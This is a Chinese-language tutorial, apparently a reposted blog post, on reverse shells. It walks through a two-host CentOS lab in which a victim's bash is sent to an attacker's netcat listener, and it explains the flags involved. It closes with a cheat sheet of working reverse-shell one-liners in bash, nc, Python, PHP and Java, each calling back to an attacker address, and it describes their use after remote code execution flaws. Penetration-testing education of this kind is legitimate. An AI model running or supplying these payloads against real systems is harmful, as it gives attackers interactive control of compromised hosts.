反弹shell

反弹shell(reverse shell),即控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

反弹shell原因

如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了。目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:WindowsSystem32cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材。

bash环境下的反弹shell,会用于常见一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时权限较低,但具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。

反弹shell实验

环境:两台CentOS7.6服务器

  • 攻击端 hacker:10.201.61.194
  • 受害端 victim:10.201.61.195

1. 攻击端监听一个端口:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767

2.受害端生成一个反弹shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

3.攻击端已获取到受害端的bash:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]#         //攻击端已获得受害端的远程交互式shell
[root@victim ~]# hostname
hostname
victim

解释:

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

 
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#nc版本:
nc -e /bin/sh 10.0.0.1 1234

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

  

相关参考:https://www.jianshu.com/p/5b73a607e2ea

https://zhuanlan.zhihu.com/p/138393396

原文地址:https://www.cnblogs.com/huaiguang10/p/14976084.html